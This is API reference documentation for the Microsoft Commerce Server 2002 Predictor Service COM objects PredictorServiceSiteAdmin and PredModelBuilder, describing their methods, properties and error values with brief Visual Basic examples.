[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


PredictorServiceSiteAdmin Object [C++]

PredictorServiceSiteAdmin Object [Visual Basic]

Use this object to manage analysis models and model configurations.

ProgID: | Commerce.PredictorSiteAdmin (Externally creatable)
COM Class Name: | PredictorServiceSiteAdmin
Type Library Name: | Microsoft Commerce 2002 Predictor Service Type Library
EXE Name: | PredServ.exe
Threading Model: | Both
[C++]
COM Interface Name: | IPredictorServiceSiteAdmin2
Interface ID Constant: | IID_IPredictorServiceSiteAdmin2
Header File: | PredictorService.h
[C++]

In C++, use the IPredictorServiceSiteAdmin interface to access the properties and methods of the PredictorServiceSiteAdmin object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
DeleteModel | Deletes the specified predictor model.
DeleteModelConfig | Deletes the specified model configuration.
GenerateList | Generates a list of members of a segment or a list of predictions.
GenerateSegmentList | Generates a list of members of a segment.
Init | Initializes the server.
RenameModel | Renames a predictor model.
RenameModelConfig | Renames a model configuration.
[Visual Basic]
Method | Description
DeleteModel | Deletes the specified predictor model.
DeleteModelConfig | Deletes the specified model configuration.
GenerateList | Generates a list of members of a segment or a list of predictions.
GenerateSegmentList | Generates a list of members of a segment.
Init | Initializes the server.
RenameModel | Renames a predictor model.
RenameModelConfig | Renames a model configuration.

Properties

[C++]
Property | Type | Description
lCaseCount | long | Retrieves the number of cases used by a model configuration. This property is read-only.
dModelInfo | IDictionary | Retrieves information on the specified model. This property is read-only.
SegmentLabels | VARIANT | Stores the segment labels for a segment model. This property is read/write.
[Visual Basic]
Property | Type | Description
lCaseCount | Long | Retrieves the number of cases used by a model configuration. This property is read-only.
dModelInfo | Object | Retrieves information on the specified model. This property is read-only.
SegmentLabels | Variant | Stores the segment labels for a segment model. This property is read/write.

Remarks

An analysis model summarizes dependency relationships among attributes found in data. A model configuration contains information used to build the analysis model.

Two types of analysis models are available. A prediction model is used to produce a ranked list of recommendations or to fill in a missing user profile attribute. A segment model is used to group similar users into segments of a population.

The PredictorServiceAdmin object contains lists of the available models and model configurations. The PredictorClient object loads the appropriate model and makes the actual predictions. The generation of new models is controlled by the PredModelBuilder object.

See Also

[C++] Business Analysis Objects

[C++] Predictor Schema

[C++] PredictorClient Object

[C++] PredictorServiceAdmin Object

[C++] PredModelBuilder Object

[C++] Running the Predictor Resource

[Visual Basic] Business Analysis Objects

[Visual Basic] Predictor Schema

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredModelBuilder Object

[Visual Basic] Running the Predictor Resource


IPredictorServiceSiteAdmin2 Methods [C++]

PredictorServiceSiteAdmin Methods [Visual Basic]

Methods

[C++]
Method | Description
DeleteModel | Deletes the specified predictor model.
DeleteModelConfig | Deletes the specified model configuration.
GenerateList | Generates a list of members of a segment or a list of predictions.
GenerateSegmentList | Generates a list of members of a segment.
Init | Initializes the server.
RenameModel | Renames a predictor model.
RenameModelConfig | Renames a model configuration.
[Visual Basic]
Method | Description
DeleteModel | Deletes the specified predictor model.
DeleteModelConfig | Deletes the specified model configuration.
GenerateList | Generates a list of members of a segment or a list of predictions.
GenerateSegmentList | Generates a list of members of a segment.
Init | Initializes the server.
RenameModel | Renames a predictor model.
RenameModelConfig | Renames a model configuration.


IPredictorServiceSiteAdmin2::DeleteModel Method [C++]

PredictorServiceSiteAdmin.DeleteModel Method [Visual Basic]

Use this method to delete the specified model.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::DeleteModel(
  BSTR sModelName
);
[Visual Basic]
Sub DeleteModel(
  sModelName As String
)

Parameters

sModelName [C++]
[in] A BSTR that contains the name of the model to delete.
sModelName [Visual Basic]
A String that contains the name of the model to delete.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the slModels property of the PredictorServiceAdmin object to retrieve a list of the available models.

Deleting a model causes its entry in the PredictorModels table in the Data Warehouse to be removed.

Passing an empty string for the model name will result in an invalid argument error.

Connect to the Data Warehouse using the Init method before calling the DeleteModel method.

Use the Start method of the PredModelBuilder object to create a new model.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::DeleteModelConfig Method [C++]

PredictorServiceSiteAdmin.DeleteModelConfig Method [Visual Basic]

Use this method to delete the specified model configuration.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::DeleteModelConfig(
  BSTR sModelConfigName
);
[Visual Basic]
Sub DeleteModelConfig(
  sModelConfigName As String
)

Parameters

sModelConfigName [C++]
[in] A BSTR that contains the name of the model configuration to delete.
sModelConfigName [Visual Basic]
A String that contains the name of the model configuration to delete.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the slModelConfigs property of the PredictorServiceAdmin object to retrieve a list of the available model configurations.

Passing an empty string for the model configuration name will result in an invalid argument error.

Deleting a model configuration causes its entries in the PredictorModelCfgs and PredictorDataTables tables in the Data Warehouse to be removed, as well as the Attributes table it references. No case data is deleted.

Caution

  • For this release of Microsoft Commerce Server 2002, the user must directly modify tables in the Data Warehouse to create a new model configuration. No API function is provided.

Connect to the Data Warehouse using the Init method before calling the DeleteModelConfig method.For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::GenerateList Method [C++]

PredictorServiceSiteAdmin.GenerateList Method [Visual Basic]

Use this method to generate a list of the members of a segment or a list of predictions.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::GenerateList(
  long lOpType,
  IDictionary* spdictProps
);
[Visual Basic]
Sub GenerateList(
  lOpType As Long,
  spdictProps As Object,
)

Parameters

lOpType [C++]
[in] A long that specifies the type of list to generate. See the Remarks section for allowed values.
lOpType [Visual Basic]
A Long that specifies the type of list to generate. See the Remarks section for allowed values.
spdictProps [C++]
[in] A pointer to a Dictionary object that contains the properties of the list to be generated. See the Remarks section for details.
spdictProps [Visual Basic]
A Dictionary object that contains the properties of the list to be generated. See the Remarks section for details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table shows the names and definitions of the allowed values for the lOptype parameter.

Name | Value | Definition
ExportSegmentToList | 1 | Export a segment to a list.
ExportProductToList | 0 | Export products to a list.

The following table shows the keys for the spdispProps dictionary parameter.

Key | Type of Operation | Definition
LMConn | Both | The connection string to the ListManager database.
ModelName | Both | The name of source model.
MinProbability | Both | The minimum level of confidence in a user belonging to the list
TableName | ExportSegmentToList | The name of the source table.
SegmentName | ExportSegmentToList | The name of the source segment.
ListName | ExportProductToList | The name of the list to be created.
SKU | ExportProductToList | The name of the PivotColumn in the model, for example, “SKU.”
Value | ExportProductToList | The name of the AggregateColumn in the model, for example, “QTY.”
Product | ExportProductToList | The identifier of the product. This should be identical to the identifier that appears in the column specified by the SKU key.
Predictions | ExportProductToList | The limit on the number of predictions. Limiting predictions will improve performance.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'dProperties is an existing dictionary containing the following keys
'   LMConn = "Provider=SQLOLEDB;Data Source=servername;" & _
'   Initial Catalog=Retail_commerce;Integrated Security='SSPI';"
'   ModelName =
'   MinProbability = .5
'   TableName = "TeenAgers"
'   SegmentName = "TeenAgers"

oPredictorServiceSiteAdmin.GenerateList _
 1, dProperties

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::GenerateSegmentList Method [C++]

PredictorServiceSiteAdmin.GenerateSegmentList Method [Visual Basic]

Use this method to generate a list of the members of a segment.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::GenerateSegmentList(
  BSTR sLMConn,
  BSTR sTableName,
  BSTR sModelName,
  BSTR sSegmentName
  double fpMinProbability
);
[Visual Basic]
Sub GenerateSegmentList(
  sLMConn As String,
  sTableName As String,
  sModelName As String,
  sSegmentName As String
  fpMinProbability As Double
)

Parameters

sLMConn [C++]
[in] A BSTR that specifies the connection information for the ListManager object.
sLMConn [Visual Basic]
A String that specifies the connection information for the ListManager object.
sTableName [C++]
[in] A BSTR that specifies the name of the table to store the list of segment members.
sTableName [Visual Basic]
A String that specifies the name of the table to store the list of segment members.
sModelName [C++]
[in] A BSTR that specifies the name of the segment model to use.
sModelName [Visual Basic]
A String that specifies the name of the segment model to use.
sSegmentName [C++]
[in] A BSTR that specifies the name of the segment to export.
sSegmentName [Visual Basic]
A String that specifies the name of the segment to export.
fpMinProbability [C++]
[in] A double that specifies the minimum probability associated with a segment member for that member to be exported. The valid range is between 0 and 1.
fpMinProbability [Visual Basic]
A Double that specifies the minimum probability associated with a segment member for that member to be exported. The valid range is between 0 and 1.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] This method is provided for use by the ListManager object and should not be called independently. The CreateFromSegment method of the ListManager object calls this method and creates the list. For more information, see IListManager::CreateFromSegment.

[Visual Basic] This method is provided for use by the ListManager object and should not be called independently. The CreateFromSegment method of the ListManager object calls this method and creates the list. For more information, see ListManager.CreateFromSegment.

Passing an empty string for the model name results in an empty list.

If the segment name, sSegmentName, does not exist or is the name of a segment group, an empty list is generated. No error is returned for this case.

Connect to the Data Warehouse using the Init method before calling the GenerateSegmentList method.

A segment model classifies groups of users into segments of users with similar user properties. Similar segments are further grouped into higher order collections of segments.

Each user is assigned a probability of membership to each segment. The sum of the probabilities for all segments equals one for the user. If the probability of membership in a particular segment for the user is greater than fpMinProbability, the user will be included in the export list.

All members (individual cases) of the specified segment level with an associated probability greater than the value specified in the fpMinProbability attribute are stored in the named table, and then exported into the List Manager.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorServiceSiteAdmin.GenerateSegmentList _
 "Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_commerce;Integrated Security='SSPI';", _
 "TeenAgers", "Demog1", "TeenAgers", .5

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::Init Method [C++]

PredictorServiceSiteAdmin.Init Method [Visual Basic]

Use this method to initialize the connection to the Data Warehouse.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::Init(
  BSTR sSiteName,
  BSTR sDWConnStr
);
[Visual Basic]
Sub Init(
  sSiteName As String,
  sDWConnStr As String
)

Parameters

sSiteName [C++]
[in] A BSTR that contains the Site name. If it is not supplied only models and model configurations where the site name is unknown in the Data Warehouse will be accessible.
sSiteName [Visual Basic]
A String that contains the Site name. If it is not supplied only models and model configurations where the site name is unknown in the Data Warehouse will be accessible.
sDWConnStr [C++]
[in] A BSTR that contains the Data Warehouse connection string.
sDWConnStr [Visual Basic]
A String that contains the Data Warehouse connection string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The models and model configurations are stored in tables in the Data Warehouse.

Initialize the connection to the Data Warehouse before any other properties or methods of the PredictorServiceSiteAdmin object are called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorServiceSiteAdmin.Init "Retail", _
 "Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_commerce;Integrated Security='SSPI';"

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[C++] PredictorClient Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object

[Visual Basic] PredictorClient Object


IPredictorServiceSiteAdmin2::RenameModel Method [C++]

PredictorServiceSiteAdmin.RenameModel Method [Visual Basic]

Use this method to rename a model.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::RenameModel(
  BSTR sOldModelName,
  BSTR sNewModelName
);
[Visual Basic]
Sub RenameModel(
  sOldModelName As String,
  sNewModelName As String
)

Parameters

sOldModelName [C++]
[in] A BSTR that contains the old model name.
sOldModelName [Visual Basic]
A String that contains the old model name.
sNewModelName [C++]
[in] A BSTR that contains the new model name.
sNewModelName [Visual Basic]
A String that contains the new model name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

E_FAIL

A model with the old name could not be found, or a model with the new name already exists.

Remarks

When renaming a model, update any sites that load the model using the LoadModelFromDB method of the PredictorClient object.

The name change is made to the model entry in the PredictorModels table in the Data Warehouse.

Use the slModels property of the PredictorServiceAdmin object to retrieve a list of available models. Use the RenameModelConfig method to rename a model configuration.

Passing an empty string for either model name will result in an invalid argument error.

Connect to the Data Warehouse using the Init method before calling the RenameModel method. For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorServiceSiteAdmin.RenameModel "PredictorModel2", "PredictorModel3"

See Also

[C++] PredictorClient Object

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::RenameModelConfig Method [C++]

PredictorServiceSiteAdmin.RenameModelConfig Method [Visual Basic]

Use this method to rename a model configuration.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::RenameModelConfig(
  BSTR sOldModelConfigName,
  BSTR sNewModelConfigName
);
[Visual Basic]
Sub RenameModelConfig(
  sOldModelConfigName As String,
  sNewModelConfigName As String
)

Parameters

sOldModelConfigName [C++]
[in] A BSTR that contains the old model configuration name.
sOldModelConfigName [Visual Basic]
A String that contains the old model configuration name.
sNewModelConfigName [C++]
[in] A BSTR that contains the new model configuration name.
sNewModelConfigName [Visual Basic]
A String that contains the new model configuration name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

E_FAIL

A model configuration with the old name could not be found, or a model configuration with the new name already exists.

Remarks

The name change is made to the model configuration entry in the PredictorModelCfgs table in the Data Warehouse.

Use the slModelsConfigs property of the PredictorServiceAdmin object to retrieve a list of the model configurations. Use the RenameModel method to rename a model.

Passing an empty string for the model configuration name will result in an invalid argument error.

Connect to the Data Warehouse using the Init method before calling the RenameModelConfig method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oPredictorServiceSiteAdmin.RenameModelConfig "ModelConf1", "ModelConf2"

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2 Properties [C++]

PredictorServiceSiteAdmin Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
lCaseCount | long | Retrieves the number of cases used by a model configuration. This property is read-only.
dModelInfo | IDictionary | Retrieves information on the specified model. This property is read-only.
SegmentLabels | VARIANT | Stores the segment labels for a segment model. This property is read/write.
[Visual Basic]
Property | Type | Description
lCaseCount | Long | Retrieves the number of cases used by a model configuration. This property is read-only.
dModelInfo | Object | Retrieves information on the specified model. This property is read-only.
SegmentLabels | Variant | Stores the segment labels for a segment model. This property is read/write.


IPredictorServiceSiteAdmin2::get_lCaseCount Property [C++]

PredictorServiceSiteAdmin.lCaseCount Property [Visual Basic]

The lCaseCount property is a read-only Long that contains a count of the number of cases used by a model configuration.

Definition

[C++]
HRESULT IPredictorServiceSiteAdmin2::get_lCaseCount(
  BSTR sConfigName,
  long* plCaseCount
);
[Visual Basic]
Property lCaseCount(
  sConfigName As String
) As Long

Parameters

sConfigName [C++]
[in] A BSTR that contains the model configuration name.
sConfigName [Visual Basic]
A String that contains the model configuration name.
plCaseCount [C++]
[out, retval] A pointer to a long that contains the number of cases for the specified model configuration.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A case is the set of information known about a particular user. This information might include user profile data, purchase history, URL click history, or other user associated data. The number of cases used to build a model affects the accuracy of that model. In general, predictions will be more accurate when many cases are available for the model. However, the time necessary to build the model increases with the number of cases in the configuration and increases in accuracy are slight when the number of cases becomes very large (typically, greater than 50,000 cases).

Use the slModelConfigs property of the PredictorServiceAdmin object to retrieve a list of the available model configurations.

Connect to the Data Warehouse using the Init method before accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The plCaseCount parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::get_dModelInfo Property [C++]

PredictorServiceSiteAdmin.dModelInfo Property [Visual Basic]

The dModelInfo property is a read-only Dictionary object that contains information on the specified model.

Definition

[C++]
HRESULT IPredModelBuilder::get_dModelInfo(
  BSTR sModelName,
  IDictionary** ppdictInfo
);
[Visual Basic]
Property dModelInfo(
  sModelName As String
) As Object

Parameters

sModelName [C++]
[in] A BSTR that contains the model name.
sModelName [Visual Basic]
A String that contains the model name.
ppdictInfo [C++]
[out, retval] The address of a pointer to the IDictionary interface of a Dictionary object used to retrieve the information on the specified model.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error. The IErrorInfo interface provides more specific error information.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The keys of the returned Dictionary object are the names of the model properties as listed in the PredictorModels Table. The following table describes a few of these keys. For information about the remaining keys, see PredictorModels Table.

Key Name | Type | Description
DWResourceName | [C++] BSTR [Visual Basic] String | Name of the Data Warehouse resource where the model configuration is defined.
ModelCfgName | [C++] BSTR [Visual Basic] String | Name of the model configuration used to build the model.
ModelName | [C++] BSTR [Visual Basic] String | Model name.

Connect to the Data Warehouse using the Init method before accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppdictInfo parameter contains valid data only if the property is accessed successfully.

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


IPredictorServiceSiteAdmin2::get_SegmentLabels, put_SegmentLabels Property [C++]

PredictorServiceSiteAdmin.SegmentLabels Property [Visual Basic]

The SegmentLabels property is a read/write Variant that contains the labels for a given segment model.

Definition

[C++]

Get method:

HRESULT IPredictorServiceSiteAdmin2::get_SegmentLabels(
  BSTR sModelName,
  long lDepth,
  VARIANT* pvarsaLabels
);

Put method:

HRESULT IPredictorServiceSiteAdmin2::put_SegmentLabels(
  BSTR sModelName,
  long lDepth,
  VARIANT pvarsaLabels
);
[Visual Basic]
Property SegmentLabels(
  sModelName As String,
  lDepth As Long
) As Variant

Parameters

sModelName [C++]
[in] A BSTR that contains the name of the segment model.
sModelName [Visual Basic]
A String that contains the name of the segment model.
lDepth [C++]
[in] A long that specifies the depth in the segment hierarchy from which labels are assigned or retrieved.
lDepth [Visual Basic]
A Long that specifies the depth in the segment hierarchy from which labels are assigned or retrieved.
pvarsaLabels [C++]
[in] When putting the property, a VARIANT that contains the segment labels.
[out, retval] When getting the property, a pointer to a VARIANT used to return the segment labels.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the following Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A segment model classifies groups of users into segments of users with similar user properties. Similar segments are grouped into higher order collections of segments, creating a hierarchy. When the segments are first generated they are generically labeled (for example, Segment4 or Group2). Rename the labels to better identify the different groups.

Valid values for the lDepth parameter are -1 (returns all segments) and 2 or greater.

Connect to the Data Warehouse using the Init method before accessing this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvarsaLabels parameter contains valid data only if the property is accessed successfully.

[Visual Basic]

Example

' saLabels is a SafeArray of Strings
' segment level 2 contains 3 members

saLabels(0) = "TeenAgers"
saLabels(1) = "TwentySomethings"
saLabels(2) = "Oldies"

oPredictorServiceSiteAdmin.SegmentLabels("Demog1", 2) = saLabels

See Also

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] PredModelBuilder Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] PredModelBuilder Object


PredModelBuilder Object [C++]

PredModelBuilder Object [Visual Basic]

Use this object to control the creation of analysis models using multiple prioritized build threads.

ProgID: | Commerce.PredictorModelBuilder (Externally creatable)
COM Class Name: | PredModelBuilder
Type Library Name: | Microsoft Commerce 2002 Predictor Service Type Library
EXE Name: | PredServ.exe
Threading Model: | Both
[C++]
COM Interface Name: | IPredModelBuilder
Interface ID Constant: | IID_IPredModelBuilder
Header File: | PredictorService.h

[C++] In C++, use the IPredModelBuilder interface to access the properties and methods of the PredModelBuilder object.

Methods

[C++]
Method | Description
Pause | Pauses a running build thread.
Resume | Resumes a paused build thread.
Start | Sets the thread identifier for a build and starts a new build thread.
Stop | Stops a running build thread.
StopAllBuilds | Stops all currently running build threads.
[Visual Basic]
Method | Description
Pause | Pauses a running build thread.
Resume | Resumes a paused build thread.
Start | Sets the thread identifier for a build and starts a new build thread.
Stop | Stops a running build thread.
StopAllBuilds | Stops all currently running build threads.

Properties

[C++]
Property | Type | Description
dModelInfo | IDictionary | Retrieves information on the specified running model. This property is read-only.
Priority | enum | Stores the build thread priority. This property is read/write.
slRunningModels | ISimpleList | Retrieves a list of running models. This property is read-only.
Status | enum | Indicates the build thread status. This property is read-only.
[Visual Basic]
Property | Type | Description
dModelInfo | Object | Retrieves information on the specified running model. This property is read-only.
Priority | Enum | Stores the build thread priority. This property is read/write.
slRunningModels | Object | Retrieves a list of running models. This property is read-only.
Status | Enum | Indicates the build thread status. This property is read-only.

Remarks

Two types of analysis models are available in Microsoft Commerce Server 2002. A Prediction model is a collection of decision trees (called a dependency net) and is used either to produce a ranked list of recommendations, such as products to advertise, or to fill in missing user profile information, such as age. A Segment model is based on the process of clustering (segmentation) and is used to group similar users into segments of a population.

An analysis model is associated with a model configuration. More than one analysis model can be associated with the same model configuration. The model configuration contains attribute and case information used to build the analysis model. A case is all the information known about a user, such as profile data and transaction data. A typical model uses between 10,000 and 20,000 cases with a resulting size of between 100 kilobytes (KB) and 10 megabytes (MB).

The PredictorServiceAdmin object contains lists of the available analysis models and model configurations. The PredictorServiceSiteAdmin object provides methods for maintaining the analysis models and model configurations. The PredictorClient object loads the appropriate analysis model and makes the actual prediction.

The generation of an analysis model occurs in an individual build thread. A single instance of the PredModelBuilder object may control multiple simultaneous build threads. If a problem occurs in a build thread, that specific thread may be paused or terminated.

See Also

[C++] Business Analysis Objects

[C++] Predictor Schema

[C++] PredictorClient Object

[C++] PredictorServiceAdmin Object

[C++] PredictorServiceSiteAdmin Object

[C++] Running the Predictor Resource

[Visual Basic] Business Analysis Objects

[Visual Basic] Predictor Schema

[Visual Basic] PredictorClient Object

[Visual Basic] PredictorServiceAdmin Object

[Visual Basic] PredictorServiceSiteAdmin Object

[Visual Basic] Running the Predictor Resource


IPredModelBuilder Methods [C++]

PredModelBuilder Methods [Visual Basic]

Methods

[C++]
Method | Description
Pause | Pauses a running build thread.
Resume | Resumes a paused build thread.
Start | Sets the thread identifier for a build and starts a new build thread.
Stop | Stops a running build thread.
StopAllBuilds | Stops all currently running build threads.
[Visual Basic]
Method | Description
Pause | Pauses a running build thread.
Resume | Resumes a paused build thread.
Start | Sets the thread identifier for a build and starts a new build thread.
